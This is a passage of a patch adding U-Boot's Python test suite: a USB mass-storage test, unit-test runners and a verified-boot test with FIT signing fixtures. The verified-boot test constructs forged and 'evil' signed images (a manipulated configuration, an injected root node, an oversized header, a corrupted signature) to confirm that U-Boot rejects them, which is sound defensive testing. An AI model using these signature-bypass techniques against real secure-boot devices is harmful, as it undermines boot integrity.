+        'host_ums_dev_node': '/dev/disk/by-path/pci-0000:00:14.0-usb-0:13:1.0-scsi-0:0:0:0',
+    },
+)
+
+env__block_devs = (
+    # eMMC; always present
+    {
+        'fixture_id': 'emmc',
+        'type': 'mmc',
+        'id': '0',
+        # The following two properties are optional.
+        # If present, the partition will be mounted and a file written-to and
+        # read-from it. If missing, only a simple block read test will be
+        # performed.
+        'writable_fs_partition': 1,
+        'writable_fs_subdir': 'tmp/',
+    },
+    # SD card; present since I plugged one in
+    {
+        'fixture_id': 'sd',
+        'type': 'mmc',
+        'id': '1'
+    },
+)
+
+b) udev rules to set permissions on devices nodes, so that sudo is not
+required. For example:
+
+ACTION=="add", SUBSYSTEM=="block", SUBSYSTEMS=="usb", KERNELS=="3-13", MODE:="666"
+
+(You may wish to change the group ID instead of setting the permissions wide
+open. All that matters is that the user ID running the test can access the
+device.)
+
+c) /etc/fstab entries to allow the block device to be mounted without requiring
+root permissions. For example:
+
+/dev/disk/by-path/pci-0000:00:14.0-usb-0:13:1.0-scsi-0:0:0:0-part1 /mnt/ubtest-mnt-p2371-2180-na ext4 noauto,user,nosuid,nodev
+
+This entry is only needed if any block_devs above contain a
+writable_fs_partition value.
+"""
+
+@pytest.mark.buildconfigspec('cmd_usb_mass_storage')
+def test_ums(u_boot_console, env__usb_dev_port, env__block_devs):
+    """Test the "ums" command; the host system must be able to enumerate a UMS
+    device when "ums" is running, block and optionally file I/O are tested,
+    and this device must disappear when "ums" is aborted.
+
+    Args:
+        u_boot_console: A U-Boot console connection.
+        env__usb_dev_port: The single USB device-mode port specification on
+            which to run the test. See the file-level comment above for
+            details of the format.
+        env__block_devs: The list of block devices that the target U-Boot
+            device has attached. See the file-level comment above for details
+            of the format.
+
+    Returns:
+        Nothing.
+    """
+
+    have_writable_fs_partition = 'writable_fs_partition' in env__block_devs[0]
+    if not have_writable_fs_partition:
+        # If 'writable_fs_subdir' is missing, we'll skip all parts of the
+        # testing which mount filesystems.
+        u_boot_console.log.warning(
+            'boardenv missing "writable_fs_partition"; ' +
+            'UMS testing will be limited.')
+
+    tgt_usb_ctlr = env__usb_dev_port['tgt_usb_ctlr']
+    host_ums_dev_node = env__usb_dev_port['host_ums_dev_node']
+
+    # We're interested in testing USB device mode on each port, not the cross-
+    # product of that with each device. So, just pick the first entry in the
+    # device list here. We'll test each block device somewhere else.
+    tgt_dev_type = env__block_devs[0]['type']
+    tgt_dev_id = env__block_devs[0]['id']
+    if have_writable_fs_partition:
+        mount_point = u_boot_console.config.env['env__mount_points'][0]
+        mount_subdir = env__block_devs[0]['writable_fs_subdir']
+        part_num = env__block_devs[0]['writable_fs_partition']
+        host_ums_part_node = '%s-part%d' % (host_ums_dev_node, part_num)
+    else:
+        host_ums_part_node = host_ums_dev_node
+
+    test_f = u_boot_utils.PersistentRandomFile(u_boot_console, 'ums.bin',
+        1024 * 1024);
+    if have_writable_fs_partition:
+        mounted_test_fn = mount_point + '/' + mount_subdir + test_f.fn
+
+    def start_ums():
+        """Start U-Boot's ums shell command.
+
+        This also waits for the host-side USB enumeration process to complete.
+
+        Args:
+            None.
+
+        Returns:
+            Nothing.
+        """
+
+        u_boot_console.log.action(
+            'Starting long-running U-Boot ums shell command')
+        cmd = 'ums %s %s %s' % (tgt_usb_ctlr, tgt_dev_type, tgt_dev_id)
+        u_boot_console.run_command(cmd, wait_for_prompt=False)
+        u_boot_console.wait_for(re.compile('UMS: LUN.*[\r\n]'))
+        fh = u_boot_utils.wait_until_open_succeeds(host_ums_part_node)
+        u_boot_console.log.action('Reading raw data from UMS device')
+        fh.read(4096)
+        fh.close()
+
+    def mount():
+        """Mount the block device that U-Boot exports.
+
+        Args:
+            None.
+
+        Returns:
+            Nothing.
+        """
+
+        u_boot_console.log.action('Mounting exported UMS device')
+        cmd = ('/bin/mount', host_ums_part_node)
+        u_boot_utils.run_and_log(u_boot_console, cmd)
+
+    def umount(ignore_errors):
+        """Unmount the block device that U-Boot exports.
+
+        Args:
+            ignore_errors: Ignore any errors. This is useful if an error has
+                already been detected, and the code is performing best-effort
+                cleanup. In this case, we do not want to mask the original
+                error by "honoring" any new errors.
+
+        Returns:
+            Nothing.
+        """
+
+        u_boot_console.log.action('Unmounting UMS device')
+        cmd = ('/bin/umount', host_ums_part_node)
+        u_boot_utils.run_and_log(u_boot_console, cmd, ignore_errors)
+
+    def stop_ums(ignore_errors):
+        """Stop U-Boot's ums shell command from executing.
+
+        This also waits for the host-side USB de-enumeration process to
+        complete.
+
+        Args:
+            ignore_errors: Ignore any errors. This is useful if an error has
+                already been detected, and the code is performing best-effort
+                cleanup. In this case, we do not want to mask the original
+                error by "honoring" any new errors.
+
+        Returns:
+            Nothing.
+        """
+
+        u_boot_console.log.action(
+            'Stopping long-running U-Boot ums shell command')
+        u_boot_console.ctrlc()
+        u_boot_utils.wait_until_file_open_fails(host_ums_part_node,
+            ignore_errors)
+
+    ignore_cleanup_errors = True
+    try:
+        start_ums()
+        if not have_writable_fs_partition:
+            # Skip filesystem-based testing if not configured
+            return
+        try:
+            mount()
+            u_boot_console.log.action('Writing test file via UMS')
+            cmd = ('rm', '-f', mounted_test_fn)
+            u_boot_utils.run_and_log(u_boot_console, cmd)
+            if os.path.exists(mounted_test_fn):
+                raise Exception('Could not rm target UMS test file')
+            cmd = ('cp', test_f.abs_fn, mounted_test_fn)
+            u_boot_utils.run_and_log(u_boot_console, cmd)
+            ignore_cleanup_errors = False
+        finally:
+            umount(ignore_errors=ignore_cleanup_errors)
+    finally:
+        stop_ums(ignore_errors=ignore_cleanup_errors)
+
+    ignore_cleanup_errors = True
+    try:
+        start_ums()
+        try:
+            mount()
+            u_boot_console.log.action('Reading test file back via UMS')
+            read_back_hash = u_boot_utils.md5sum_file(mounted_test_fn)
+            cmd = ('rm', '-f', mounted_test_fn)
+            u_boot_utils.run_and_log(u_boot_console, cmd)
+            ignore_cleanup_errors = False
+        finally:
+            umount(ignore_errors=ignore_cleanup_errors)
+    finally:
+        stop_ums(ignore_errors=ignore_cleanup_errors)
+
+    written_hash = test_f.content_hash
+    assert(written_hash == read_back_hash)
diff --git a/roms/u-boot/test/py/tests/test_unknown_cmd.py b/roms/u-boot/test/py/tests/test_unknown_cmd.py
new file mode 100644
index 000000000..8fc284a92
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_unknown_cmd.py
@@ -0,0 +1,13 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+def test_unknown_command(u_boot_console):
+    """Test that executing an unknown command causes U-Boot to print an
+    error."""
+
+    # The "unknown command" error is actively expected here,
+    # so error detection for it is disabled.
+    with u_boot_console.disable_check('unknown_command'):
+        response = u_boot_console.run_command('non_existent_cmd')
+    assert('Unknown command \'non_existent_cmd\' - try \'help\'' in response)
diff --git a/roms/u-boot/test/py/tests/test_ut.py b/roms/u-boot/test/py/tests/test_ut.py
new file mode 100644
index 000000000..01c2b3ffa
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_ut.py
@@ -0,0 +1,43 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+import os.path
+import pytest
+
+@pytest.mark.buildconfigspec('ut_dm')
+def test_ut_dm_init(u_boot_console):
+    """Initialize data for ut dm tests."""
+
+    fn = u_boot_console.config.source_dir + '/testflash.bin'
+    if not os.path.exists(fn):
+        data = b'this is a test'
+        data += b'\x00' * ((4 * 1024 * 1024) - len(data))
+        with open(fn, 'wb') as fh:
+            fh.write(data)
+
+    fn = u_boot_console.config.source_dir + '/spi.bin'
+    if not os.path.exists(fn):
+        data = b'\x00' * (2 * 1024 * 1024)
+        with open(fn, 'wb') as fh:
+            fh.write(data)
+
+def test_ut(u_boot_console, ut_subtest):
+    """Execute a "ut" subtest.
+
+    The subtests are collected in function generate_ut_subtest() from linker
+    generated lists by applying a regular expression to the lines of file
+    u-boot.sym. The list entries are created using the C macro UNIT_TEST().
+
+    Strict naming conventions have to be followed to match the regular
+    expression. Use UNIT_TEST(foo_test_bar, _flags, foo_test) for a test bar in
+    test suite foo that can be executed via command 'ut foo bar' and is
+    implemented in C function foo_test_bar().
+
+    Args:
+        u_boot_console (ConsoleBase): U-Boot console
+        ut_subtest (str): test to be executed via command ut, e.g 'foo bar' to
+            execute command 'ut foo bar'
+    """
+
+    output = u_boot_console.run_command('ut ' + ut_subtest)
+    assert output.endswith('Failures: 0')
diff --git a/roms/u-boot/test/py/tests/test_vboot.py b/roms/u-boot/test/py/tests/test_vboot.py
new file mode 100644
index 000000000..6dff6779d
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_vboot.py
@@ -0,0 +1,401 @@
+# SPDX-License-Identifier:	GPL-2.0+
+# Copyright (c) 2016, Google Inc.
+#
+# U-Boot Verified Boot Test
+
+"""
+This tests verified boot in the following ways:
+
+For image verification:
+- Create FIT (unsigned) with mkimage
+- Check that verification shows that no keys are verified
+- Sign image
+- Check that verification shows that a key is now verified
+
+For configuration verification:
+- Corrupt signature and check for failure
+- Create FIT (with unsigned configuration) with mkimage
+- Check that image verification works
+- Sign the FIT and mark the key as 'required' for verification
+- Check that image verification works
+- Corrupt the signature
+- Check that image verification no-longer works
+
+Tests run with both SHA1 and SHA256 hashing.
+"""
+
+import shutil
+import struct
+import pytest
+import u_boot_utils as util
+import vboot_forge
+import vboot_evil
+
+# Only run the full suite on a few combinations, since it doesn't add any more
+# test coverage.
+TESTDATA = [
+    ['sha1', '', None, False, True],
+    ['sha1', '', '-E -p 0x10000', False, False],
+    ['sha1', '-pss', None, False, False],
+    ['sha1', '-pss', '-E -p 0x10000', False, False],
+    ['sha256', '', None, False, False],
+    ['sha256', '', '-E -p 0x10000', False, False],
+    ['sha256', '-pss', None, False, False],
+    ['sha256', '-pss', '-E -p 0x10000', False, False],
+    ['sha256', '-pss', None, True, False],
+    ['sha256', '-pss', '-E -p 0x10000', True, True],
+]
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('fit_signature')
+@pytest.mark.requiredtool('dtc')
+@pytest.mark.requiredtool('fdtget')
+@pytest.mark.requiredtool('fdtput')
+@pytest.mark.requiredtool('openssl')
+@pytest.mark.parametrize("sha_algo,padding,sign_options,required,full_test",
+                         TESTDATA)
+def test_vboot(u_boot_console, sha_algo, padding, sign_options, required,
+               full_test):
+    """Test verified boot signing with mkimage and verification with 'bootm'.
+
+    This works using sandbox only as it needs to update the device tree used
+    by U-Boot to hold public keys from the signing process.
+
+    The SHA1 and SHA256 tests are combined into a single test since the
+    key-generation process is quite slow and we want to avoid doing it twice.
+    """
+    def dtc(dts):
+        """Run the device tree compiler to compile a .dts file
+
+        The output file will be the same as the input file but with a .dtb
+        extension.
+
+        Args:
+            dts: Device tree file to compile.
+        """
+        dtb = dts.replace('.dts', '.dtb')
+        util.run_and_log(cons, 'dtc %s %s%s -O dtb '
+                         '-o %s%s' % (dtc_args, datadir, dts, tmpdir, dtb))
+
+    def run_bootm(sha_algo, test_type, expect_string, boots, fit=None):
+        """Run a 'bootm' command U-Boot.
+
+        This always starts a fresh U-Boot instance since the device tree may
+        contain a new public key.
+
+        Args:
+            test_type: A string identifying the test type.
+            expect_string: A string which is expected in the output.
+            sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
+                    use.
+            boots: A boolean that is True if Linux should boot and False if
+                    we are expected to not boot
+            fit: FIT filename to load and verify
+        """
+        if not fit:
+            fit = '%stest.fit' % tmpdir
+        cons.restart_uboot()
+        with cons.log.section('Verified boot %s %s' % (sha_algo, test_type)):
+            output = cons.run_command_list(
+                ['host load hostfs - 100 %s' % fit,
+                 'fdt addr 100',
+                 'bootm 100'])
+        assert expect_string in ''.join(output)
+        if boots:
+            assert 'sandbox: continuing, as we cannot run' in ''.join(output)
+        else:
+            assert('sandbox: continuing, as we cannot run'
+                   not in ''.join(output))
+
+    def make_fit(its):
+        """Make a new FIT from the .its source file.
+
+        This runs 'mkimage -f' to create a new FIT.
+
+        Args:
+            its: Filename containing .its source.
+        """
+        util.run_and_log(cons, [mkimage, '-D', dtc_args, '-f',
+                                '%s%s' % (datadir, its), fit])
+
+    def sign_fit(sha_algo, options):
+        """Sign the FIT
+
+        Signs the FIT and writes the signature into it. It also writes the
+        public key into the dtb.
+
+        Args:
+            sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
+                    use.
+            options: Options to provide to mkimage.
+        """
+        args = [mkimage, '-F', '-k', tmpdir, '-K', dtb, '-r', fit]
+        if options:
+            args += options.split(' ')
+        cons.log.action('%s: Sign images' % sha_algo)
+        util.run_and_log(cons, args)
+
+    def sign_fit_norequire(sha_algo, options):
+        """Sign the FIT
+
+        Signs the FIT and writes the signature into it. It also writes the
+        public key into the dtb. It does not mark key as 'required' in dtb.
+
+        Args:
+            sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
+                    use.
+            options: Options to provide to mkimage.
+        """
+        args = [mkimage, '-F', '-k', tmpdir, '-K', dtb, fit]
+        if options:
+            args += options.split(' ')
+        cons.log.action('%s: Sign images' % sha_algo)
+        util.run_and_log(cons, args)
+
+    def replace_fit_totalsize(size):
+        """Replace FIT header's totalsize with something greater.
+
+        The totalsize must be less than or equal to FIT_SIGNATURE_MAX_SIZE.
+        If the size is greater, the signature verification should return false.
+
+        Args:
+            size: The new totalsize of the header
+
+        Returns:
+            prev_size: The previous totalsize read from the header
+        """
+        total_size = 0
+        with open(fit, 'r+b') as handle:
+            handle.seek(4)
+            total_size = handle.read(4)
+            handle.seek(4)
+            handle.write(struct.pack(">I", size))
+        return struct.unpack(">I", total_size)[0]
+
+    def create_rsa_pair(name):
+        """Generate a new RSA key paid and certificate
+
+        Args:
+            name: Name of of the key (e.g. 'dev')
+        """
+        public_exponent = 65537
+        util.run_and_log(cons, 'openssl genpkey -algorithm RSA -out %s%s.key '
+                     '-pkeyopt rsa_keygen_bits:2048 '
+                     '-pkeyopt rsa_keygen_pubexp:%d' %
+                     (tmpdir, name, public_exponent))
+
+        # Create a certificate containing the public key
+        util.run_and_log(cons, 'openssl req -batch -new -x509 -key %s%s.key '
+                         '-out %s%s.crt' % (tmpdir, name, tmpdir, name))
+
+    def test_with_algo(sha_algo, padding, sign_options):
+        """Test verified boot with the given hash algorithm.
+
+        This is the main part of the test code. The same procedure is followed
+        for both hashing algorithms.
+
+        Args:
+            sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
+                    use.
+            padding: Either '' or '-pss', to select the padding to use for the
+                    rsa signature algorithm.
+            sign_options: Options to mkimage when signing a fit image.
+        """
+        # Compile our device tree files for kernel and U-Boot. These are
+        # regenerated here since mkimage will modify them (by adding a
+        # public key) below.
+        dtc('sandbox-kernel.dts')
+        dtc('sandbox-u-boot.dts')
+
+        # Build the FIT, but don't sign anything yet
+        cons.log.action('%s: Test FIT with signed images' % sha_algo)
+        make_fit('sign-images-%s%s.its' % (sha_algo, padding))
+        run_bootm(sha_algo, 'unsigned images', 'dev-', True)
+
+        # Sign images with our dev keys
+        sign_fit(sha_algo, sign_options)
+        run_bootm(sha_algo, 'signed images', 'dev+', True)
+
+        # Create a fresh .dtb without the public keys
+        dtc('sandbox-u-boot.dts')
+
+        cons.log.action('%s: Test FIT with signed configuration' % sha_algo)
+        make_fit('sign-configs-%s%s.its' % (sha_algo, padding))
+        run_bootm(sha_algo, 'unsigned config', '%s+ OK' % sha_algo, True)
+
+        # Sign images with our dev keys
+        sign_fit(sha_algo, sign_options)
+        run_bootm(sha_algo, 'signed config', 'dev+', True)
+
+        cons.log.action('%s: Check signed config on the host' % sha_algo)
+
+        util.run_and_log(cons, [fit_check_sign, '-f', fit, '-k', dtb])
+
+        if full_test:
+            # Make sure that U-Boot checks that the config is in the list of
+            # hashed nodes. If it isn't, a security bypass is possible.
+            ffit = '%stest.forged.fit' % tmpdir
+            shutil.copyfile(fit, ffit)
+            with open(ffit, 'rb') as fd:
+                root, strblock = vboot_forge.read_fdt(fd)
+            root, strblock = vboot_forge.manipulate(root, strblock)
+            with open(ffit, 'w+b') as fd:
+                vboot_forge.write_fdt(root, strblock, fd)
+            util.run_and_log_expect_exception(
+                cons, [fit_check_sign, '-f', ffit, '-k', dtb],
+                1, 'Failed to verify required signature')
+
+            run_bootm(sha_algo, 'forged config', 'Bad Data Hash', False, ffit)
+
+            # Try adding an evil root node. This should be detected.
+            efit = '%stest.evilf.fit' % tmpdir
+            shutil.copyfile(fit, efit)
+            vboot_evil.add_evil_node(fit, efit, evil_kernel, 'fakeroot')
+
+            util.run_and_log_expect_exception(
+                cons, [fit_check_sign, '-f', efit, '-k', dtb],
+                1, 'Failed to verify required signature')
+            run_bootm(sha_algo, 'evil fakeroot', 'Bad FIT kernel image format',
+                      False, efit)
+
+            # Try adding an @ to the kernel node name. This should be detected.
+            efit = '%stest.evilk.fit' % tmpdir
+            shutil.copyfile(fit, efit)
+            vboot_evil.add_evil_node(fit, efit, evil_kernel, 'kernel@')
+
+            msg = 'Signature checking prevents use of unit addresses (@) in nodes'
+            util.run_and_log_expect_exception(
+                cons, [fit_check_sign, '-f', efit, '-k', dtb],
+                1, msg)
+            run_bootm(sha_algo, 'evil kernel@', msg, False, efit)
+
+        # Create a new properly signed fit and replace header bytes
+        make_fit('sign-configs-%s%s.its' % (sha_algo, padding))
+        sign_fit(sha_algo, sign_options)
+        bcfg = u_boot_console.config.buildconfig
+        max_size = int(bcfg.get('config_fit_signature_max_size', 0x10000000), 0)
+        existing_size = replace_fit_totalsize(max_size + 1)
+        run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash',
+                  False)
+        cons.log.action('%s: Check overflowed FIT header totalsize' % sha_algo)
+
+        # Replace with existing header bytes
+        replace_fit_totalsize(existing_size)
+        run_bootm(sha_algo, 'signed config', 'dev+', True)
+        cons.log.action('%s: Check default FIT header totalsize' % sha_algo)
+
+        # Increment the first byte of the signature, which should cause failure
+        sig = util.run_and_log(cons, 'fdtget -t bx %s %s value' %
+                               (fit, sig_node))
+        byte_list = sig.split()
+        byte = int(byte_list[0], 16)
+        byte_list[0] = '%x' % (byte + 1)
+        sig = ' '.join(byte_list)
+        util.run_and_log(cons, 'fdtput -t bx %s %s value %s' %
+                         (fit, sig_node, sig))
+
+        run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash',
+                  False)
+
+        cons.log.action('%s: Check bad config on the host' % sha_algo)
+        util.run_and_log_expect_exception(
+            cons, [fit_check_sign, '-f', fit, '-k', dtb],
+            1, 'Failed to verify required signature')
+
+    def test_required_key(sha_algo, padding, sign_options):
+        """Test verified boot with the given hash algorithm.
+
+        This function tests if U-Boot rejects an image when a required key isn't
+        used to sign a FIT.
+
+        Args:
+            sha_algo: Either 'sha1' or 'sha256', to select the algorithm to use
+            padding: Either '' or '-pss', to select the padding to use for the
+                    rsa signature algorithm.
+            sign_options: Options to mkimage when signing a fit image.
+        """
+        # Compile our device tree files for kernel and U-Boot. These are
+        # regenerated here since mkimage will modify them (by adding a
+        # public key) below.
+        dtc('sandbox-kernel.dts')
+        dtc('sandbox-u-boot.dts')
+
+        cons.log.action('%s: Test FIT with configs images' % sha_algo)
+
+        # Build the FIT with prod key (keys required) and sign it. This puts the
+        # signature into sandbox-u-boot.dtb, marked 'required'
+        make_fit('sign-configs-%s%s-prod.its' % (sha_algo, padding))
+        sign_fit(sha_algo, sign_options)
+
+        # Build the FIT with dev key (keys NOT required). This adds the
+        # signature into sandbox-u-boot.dtb, NOT marked 'required'.
+        make_fit('sign-configs-%s%s.its' % (sha_algo, padding))
+        sign_fit_norequire(sha_algo, sign_options)
+
+        # So now sandbox-u-boot.dtb two signatures, for the prod and dev keys.
+        # Only the prod key is set as 'required'. But FIT we just built has
+        # a dev signature only (sign_fit_norequire() overwrites the FIT).
+        # Try to boot the FIT with dev key. This FIT should not be accepted by
+        # U-Boot because the prod key is required.
+        run_bootm(sha_algo, 'required key', '', False)
+
+        # Build the FIT with dev key (keys required) and sign it. This puts the
+        # signature into sandbox-u-boot.dtb, marked 'required'.
+        make_fit('sign-configs-%s%s.its' % (sha_algo, padding))
+        sign_fit(sha_algo, sign_options)
+
+        # Set the required-mode policy to "any".
+        # So now sandbox-u-boot.dtb two signatures, for the prod and dev keys.
+        # Both the dev and prod key are set as 'required'. But FIT we just built has
+        # a dev signature only (sign_fit() overwrites the FIT).
+        # Try to boot the FIT with dev key. This FIT should be accepted by
+        # U-Boot because the dev key is required and policy is "any" required key.
+        util.run_and_log(cons, 'fdtput -t s %s /signature required-mode any' %
+                         (dtb))
+        run_bootm(sha_algo, 'multi required key', 'dev+', True)
+
+        # Set the required-mode policy to "all".
+        # So now sandbox-u-boot.dtb two signatures, for the prod and dev keys.
+        # Both the dev and prod key are set as 'required'. But FIT we just built has
+        # a dev signature only (sign_fit() overwrites the FIT).
+        # Try to boot the FIT with dev key. This FIT should not be accepted by
+        # U-Boot because the prod key is required and policy is "all" required key
+        util.run_and_log(cons, 'fdtput -t s %s /signature required-mode all' %
+                         (dtb))
+        run_bootm(sha_algo, 'multi required key', '', False)
+
+    cons = u_boot_console
+    tmpdir = cons.config.result_dir + '/'
+    datadir = cons.config.source_dir + '/test/py/tests/vboot/'
+    fit = '%stest.fit' % tmpdir
+    mkimage = cons.config.build_dir + '/tools/mkimage'
+    fit_check_sign = cons.config.build_dir + '/tools/fit_check_sign'
+    dtc_args = '-I dts -O dtb -i %s' % tmpdir
+    dtb = '%ssandbox-u-boot.dtb' % tmpdir
+    sig_node = '/configurations/conf-1/signature'
+
+    create_rsa_pair('dev')
+    create_rsa_pair('prod')
+
+    # Create a number kernel image with zeroes
+    with open('%stest-kernel.bin' % tmpdir, 'wb') as fd:
+        fd.write(500 * b'\0')
+
+    # Create a second kernel image with ones
+    evil_kernel = '%stest-kernel1.bin' % tmpdir
+    with open(evil_kernel, 'wb') as fd:
+        fd.write(500 * b'\x01')
+
+    try:
+        # We need to use our own device tree file. Remember to restore it
+        # afterwards.
+        old_dtb = cons.config.dtb
+        cons.config.dtb = dtb
+        if required:
+            test_required_key(sha_algo, padding, sign_options)
+        else:
+            test_with_algo(sha_algo, padding, sign_options)
+    finally:
+        # Go back to the original U-Boot with the correct dtb.
+        cons.config.dtb = old_dtb
+        cons.restart_uboot()
diff --git a/roms/u-boot/test/py/tests/vboot/sandbox-kernel.dts b/roms/u-boot/test/py/tests/vboot/sandbox-kernel.dts
new file mode 100644
index 000000000..a1e853c9c
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot/sandbox-kernel.dts
@@ -0,0 +1,7 @@
+/dts-v1/;
+
+/ {
+	model = "Sandbox Verified Boot Test";
+	compatible = "sandbox";
+
+};
diff --git a/roms/u-boot/test/py/tests/vboot/sandbox-u-boot.dts b/roms/u-boot/test/py/tests/vboot/sandbox-u-boot.dts
new file mode 100644
index 000000000..63f8f401d
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot/sandbox-u-boot.dts
@@ -0,0 +1,10 @@
+/dts-v1/;
+
+/ {
+	model = "Sandbox Verified Boot Test";
+	compatible = "sandbox";
+
+	reset@0 {
+		compatible = "sandbox,reset";
+	};
+};
diff --git a/roms/u-boot/test/py/tests/vboot/sign-configs-sha1-pss.its b/roms/u-boot/test/py/tests/vboot/sign-configs-sha1-pss.its
new file mode 100644
index 000000000..72a5637e3
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot/sign-configs-sha1-pss.its
@@ -0,0 +1,46 @@
+/dts-v1/;
+
+/ {
+	description = "Chrome OS kernel image with one or more FDT blobs";
+	#address-cells = <1>;
+
+	images {
+		kernel {
+			data = /incbin/("test-kernel.bin");
+			type = "kernel_noload";
+			arch = "sandbox";
+			os = "linux";
+			compression = "none";
+			load = <0x4>;
+			entry = <0x8>;
+			kernel-version = <1>;
+			hash-1 {
+				algo = "sha1";
+			};
+		};
+		fdt-1 {
+			description = "snow";
+			data = /incbin/("sandbox-kernel.dtb");
+			type = "flat_dt";
+			arch = "sandbox";
+			compression = "none";
+			fdt-version = <1>;
+			hash-1 {
+				algo = "sha1";
+			};
+		};
+	};
+	configurations {
+		default = "conf-1";
+		conf-1 {
+			kernel = "kernel";
+			fdt = "fdt-1";
+			signature {
+				algo = "sha1,rsa2048";
+				padding = "pss";
+				key-name-hint = "dev";
+				sign-images = "fdt", "kernel";
+			};
+		};
+	};
+};
diff --git a/roms/u-boot/test/py/tests/vboot/sign-configs-sha1.its b/roms/u-boot/test/py/tests/vboot/sign-configs-sha1.its
new file mode 100644
index 000000000..d8bc1fa09
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot/sign-configs-sha1.its
@@ -0,0 +1,45 @@
+/dts-v1/;
+
+/ {
+	description = "Chrome OS kernel image with one or more FDT blobs";
+	#address-cells = <1>;
+
+	images {
+		kernel {
+			data = /incbin/("test-kernel.bin");
+			type = "kernel_noload";
+			arch = "sandbox";
+			os = "linux";
+			compression = "none";
+			load = <0x4>;
+			entry = <0x8>;
+			kernel-version = <1>;
+			hash-1 {
+				algo = "sha1";
+			};
+		};
+		fdt-1 {
+			description = "snow";
+			data = /incbin/("sandbox-kernel.dtb");
+			type = "flat_dt";
+			arch = "sandbox";
+			compression = "none";
+			fdt-version = <1>;
+			hash-1 {
+				algo = "sha1";
+			};
+		};
+	};
+	configurations {
+		default = "conf-1";
+		conf-1 {
+			kernel = "kernel";
+			fdt = "fdt-1";
+			signature {
+				algo = "sha1,rsa2048";
+				key-name-hint = "dev";
+				sign-images = "fdt", "kernel";
+			};
+		};
+	};
+};
diff --git a/roms/u-boot/test/py/tests/vboot/sign-configs-sha256-pss-prod.its b/roms/u-boot/test/py/tests/vboot/sign-configs-sha256-pss-prod.its
new file mode 100644
index 000000000..aac732e30
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot/sign-configs-sha256-pss-prod.its
@@ -0,0 +1,46 @@
+/dts-v1/;
+
+/ {
+	description = "Chrome OS kernel image with one or more FDT blobs";
+	#address-cells = <1>;
+
+	images {
+		kernel {
+			data = /incbin/("test-kernel.bin");
+			type = "kernel_noload";
+			arch = "sandbox";
+			os = "linux";
+			compression = "none";
+			load = <0x4>;
+			entry = <0x8>;
+			kernel-version = <1>;
+			hash-1 {
+				algo = "sha256";
+			};
+		};
+		fdt-1 {
+			description = "snow";
+			data = /incbin/("sandbox-kernel.dtb");
+			type = "flat_dt";
+			arch = "sandbox";
+			compression = "none";
+			fdt-version = <1>;
+			hash-1 {
+				algo = "sha256";
+			};
+		};
+	};
+	configurations {
+		default = "conf-1";
+		conf-1 {
+			kernel = "kernel";
+			fdt = "fdt-1";
+			signature {
+				algo = "sha256,rsa2048";
+				padding = "pss";
+				key-name-hint = "prod";
+				sign-images = "fdt", "kernel";
+			};
+		};
+	};
+};
diff --git a/roms/u-boot/test/py/tests/vboot/sign-configs-sha256-pss.its b/roms/u-boot/test/py/tests/vboot/sign-configs-sha256-pss.its
new file mode 100644
index 000000000..7bdcc7e28
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot/sign-configs-sha256-pss.its
@@ -0,0 +1,46 @@
+/dts-v1/;
+
+/ {
+	description = "Chrome OS kernel image with one or more FDT blobs";
+	#address-cells = <1>;
+
+	images {
+		kernel {
+			data = /incbin/("test-kernel.bin");
+			type = "kernel_noload";
+			arch = "sandbox";
+			os = "linux";
+			compression = "none";
+			load = <0x4>;
+			entry = <0x8>;
+			kernel-version = <1>;
+			hash-1 {
+				algo = "sha256";
+			};
+		};
+		fdt-1 {
+			description = "snow";
+			data = /incbin/("sandbox-kernel.dtb");
+			type = "flat_dt";
+			arch = "sandbox";
+			compression = "none";
+			fdt-version = <1>;
+			hash-1 {
+				algo = "sha256";
+			};
+		};
+	};
+	configurations {
+		default = "conf-1";
+		conf-1 {
+			kernel = "kernel";
+			fdt = "fdt-1";
+			signature {
+				algo = "sha256,rsa2048";
+				padding = "pss";
+				key-name-hint = "dev";
+				sign-images = "fdt", "kernel";
+			};
+		};
+	};
+};
diff --git a/roms/u-boot/test/py/tests/vboot/sign-configs-sha256.its b/roms/u-boot/test/py/tests/vboot/sign-configs-sha256.its
new file mode 100644
index 000000000..f5591aad3
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot/sign-configs-sha256.its
@@ -0,0 +1,45 @@
+/dts-v1/;
+
+/ {
+	description = "Chrome OS kernel image with one or more FDT blobs";
+	#address-cells = <1>;
+
+	images {
+		kernel {
+			data = /incbin/("test-kernel.bin");
+			type = "kernel_noload";
+			arch = "sandbox";
+			os = "linux";
+			compression = "none";
+			load = <0x4>;
+			entry = <0x8>;
+			kernel-version = <1>;
+			hash-1 {
+				algo = "sha256";
+			};
+		};
+		fdt-1 {
+			description = "snow";
+			data = /incbin/("sandbox-kernel.dtb");
+			type = "flat_dt";
+			arch = "sandbox";
+			compression = "none";
+			fdt-version = <1>;
+			hash-1 {
+				algo = "sha256";
+			};
+		};
+	};
+	configurations {
+		default = "conf-1";
+		conf-1 {
+			kernel = "kernel";
+			fdt = "fdt-1";
+			signature {
+				algo = "sha256,rsa2048";
+				key-name-hint = "dev";
+				sign-images = "fdt", "kernel";
+			};
+		};
+	};
+};
diff --git a/roms/u-boot/test/py/tests/vboot/sign-images-sha1-pss.its b/roms/u-boot/test/py/tests/vboot/sign-images-sha1-pss.its
new file mode 100644
index 000000000..ded7ae4f5
--- /dev/null
+++ b/roms/u-boot/test/py/tests/vboot/sign-images-sha1-pss.its
@@ -0,0 +1,44 @@
+/dts-v1/;
+
+/ {
+	description = "Chrome OS kernel image with one or more FDT blobs";
+	#address-cells = <1>;
+
+	images {
+		kernel {
+			data = /incbin/("test-kernel.bin");
